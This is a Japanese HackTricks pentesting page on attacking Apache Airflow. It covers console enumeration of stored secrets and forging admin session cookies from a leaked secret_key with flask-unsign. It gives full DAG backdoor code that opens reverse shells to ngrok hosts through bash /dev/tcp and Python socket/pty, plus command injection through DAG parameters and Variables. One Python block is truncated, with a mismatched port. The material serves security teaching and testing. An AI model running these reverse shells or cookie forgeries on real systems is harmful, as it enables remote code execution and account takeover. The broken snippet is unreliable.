HackTricksのサポート
HackTricks とHackTricks Cloud のgithubリポジトリにPRを提出してハッキングトリックを共有 してください。
基本情報
Apache Airflow は、データパイプラインやワークフローのオーケストレーションとスケジューリング のプラットフォームとして機能します。データパイプラインの文脈における「オーケストレーション」とは、さまざまなソースから発信される複雑なデータワークフローを整理し、調整し、管理するプロセスを意味します。これらのオーケストレーションされたデータパイプラインの主な目的は、処理された消費可能なデータセットを提供することです。これらのデータセットは、ビジネスインテリジェンスツール、データサイエンスおよび機械学習モデルなど、多くのアプリケーションで広く利用されており、これらはすべてビッグデータアプリケーションの機能の基盤となっています。
基本的に、Apache Airflow は、何かが発生したときにコードの実行をスケジュールする ことができます。
ローカル環境
Docker-Compose
完全な Apache Airflow Docker 環境を起動するために、https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml から docker-compose 設定ファイルを使用 することができます(MacOSの場合は、docker VM に少なくとも 6GB のRAMを割り当てる必要があります)。
Minikube
Apache Airflow を実行する簡単な方法 の1つは、minikube を使用して実行することです。
Copy helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command
# Use this command to delete it
helm delete airflow-release
Airflowの設定
Airflowは、機密情報 を設定に保存する可能性があります。また、設定には脆弱な構成があるかもしれません:
Airflow Configuration Airflow RBAC
Airflowを攻撃する前に、権限がどのように機能するか を理解する必要があります:
Airflow RBAC 攻撃
Webコンソールの列挙
Webコンソールにアクセス権 がある場合、次の情報の一部またはすべてにアクセスできるかもしれません:
変数 (ここにはカスタム機密情報が保存されている可能性があります)
接続 (ここにはカスタム機密情報が保存されている可能性があります)
http://<airflow>/connection/list/
でアクセス
設定 (secret_key
などの機密情報やパスワードが保存されている可能性があります)
各DAGのコード (興味深い情報が含まれている可能性があります)
変数値の取得
Airflowには変数が保存されており、DAG がその値にアクセス できます。これは他のプラットフォームのシークレットに類似しています。十分な権限 があれば、GUIでこれらにアクセスできます: http://<airflow>/variable/list/
。
Airflowはデフォルトで変数の値をGUIに表示しますが、こちら によると、GUI にはアスタリスク として表示される変数の値 のリスト を設定することが可能です。
ただし、これらの値 はCLI (DBアクセスが必要)、任意のDAG の実行、API を介した変数エンドポイントへのアクセス(APIを有効にする必要があります)、そしてGUIそのもの を介して取得 することができます。
GUIからこれらの値にアクセスするには、アクセスしたい変数 を選択し、アクション -> エクスポート をクリックします。
別の方法は、隠された値 へのブルートフォース を実行し、それを取得するまで検索フィルタリング を行うことです:
特権昇格
expose_config
構成がTrue に設定されている場合、ユーザー ロール以上のユーザーはWeb上で構成を読み取る ことができます。この構成には、secret_key
が表示されるため、この有効なユーザーは自分自身の署名済みクッキーを作成して他のユーザーアカウントになりすます ことができます。
Copy flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
DAG バックドア(Airflow ワーカー内の RCE)
もし DAG が保存されている場所に書き込みアクセス があれば、単純に リバースシェルを送信する DAG を作成することができます。
このリバースシェルは Airflow ワーカーコンテナ内で実行 されることに注意してください:
Copy import pendulum
from airflow import DAG
from airflow . operators . bash import BashOperator
with DAG (
dag_id = 'rev_shell_bash' ,
schedule_interval = '0 0 * * *' ,
start_date = pendulum. datetime ( 2021 , 1 , 1 , tz = "UTC" ),
) as dag :
run = BashOperator (
task_id = 'run' ,
bash_command = 'bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1' ,
)
Copy import pendulum , socket , os , pty
from airflow import DAG
from airflow . operators . python import PythonOperator
def rs ( rhost , port ):
s = socket . socket ()
s . connect ((rhost, port))
[os . dup2 (s. fileno (),fd) for fd in ( 0 , 1 , 2 )]
pty . spawn ( "/bin/sh" )
with DAG (
dag_id = 'rev_shell_python' ,
schedule_interval = '0 0 * * *' ,
start_date = pendulum. datetime ( 2021 , 1 , 1 , tz = "UTC" ),
) as dag :
run = PythonOperator (
task_id = 'rs_python' ,
python_callable = rs,
op_kwargs = { "rhost" : "8.tcp.ngrok.io" , "port" : 11433 }
)
DAG バックドア(Airflow スケジューラーでの RCE)
もし何かをコードのルートで実行するように設定 した場合、この記述時点では、それをDAG のフォルダーに配置した数秒後にスケジューラーによって実行 されます。
Copy import pendulum , socket , os , pty
from airflow import DAG
from airflow . operators . python import PythonOperator
def rs ( rhost , port ):
s = socket . socket ()
s . connect ((rhost, port))
[os . dup2 (s. fileno (),fd) for fd in ( 0 , 1 , 2 )]
pty . spawn ( "/bin/sh" )
rs ( "2.tcp.ngrok.io" , 14403 )
with DAG (
dag_id = 'rev_shell_python2' ,
schedule_interval = '0 0 * * *' ,
start_date = pendulum. datetime ( 2021 , 1 , 1 , tz = "UTC" ),
) as dag :
run = PythonOperator (
task_id = 'rs_python2' ,
python_callable = rs,
op_kwargs = { "rhost" : "2.tcp.ngrok.io" , "port" : 144 }
DAGの作成
DAGクラスタ内のマシンを侵害 することができれば、dags/
フォルダ内に新しいDAGスクリプト を作成し、それらはDAGクラスタ内の他のマシンに複製されます 。
DAGコードインジェクション
GUIからDAGを実行すると、それに引数を渡す ことができます。
したがって、DAGが適切にコーディングされていない場合、コマンドインジェクションの脆弱性 が発生する可能性があります。
これがこのCVEで起こったことです: https://www.exploit-db.com/exploits/49927
DAG内でコマンドインジェクションを探し始めるために知っておくべきこと は、パラメータ がコード**dag_run.conf.get("param_name")
で アクセス**されるということです。
さらに、変数 でも同じ脆弱性が発生する可能性があります(特権があればGUIで変数の値を制御 できます)。変数は以下でアクセス されます:
Copy from airflow . models import Variable
[...]
foo = Variable . get ( "foo" )
Copy 例えば、bashコマンド内で使用されている場合、コマンドインジェクションを実行することができます。
<details>
<div data-gb-custom-block data-tag="hint" data-style='success'>
AWSハッキングの学習と実践:<img src="/.gitbook/assets/image.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/image.png" alt="" data-size="line">\
GCPハッキングの学習と実践:<img src="/.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksのサポート</summary>
* [ **サブスクリプションプラン** ](https://github.com/sponsors/carlospolop) を確認してください!
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>
</div>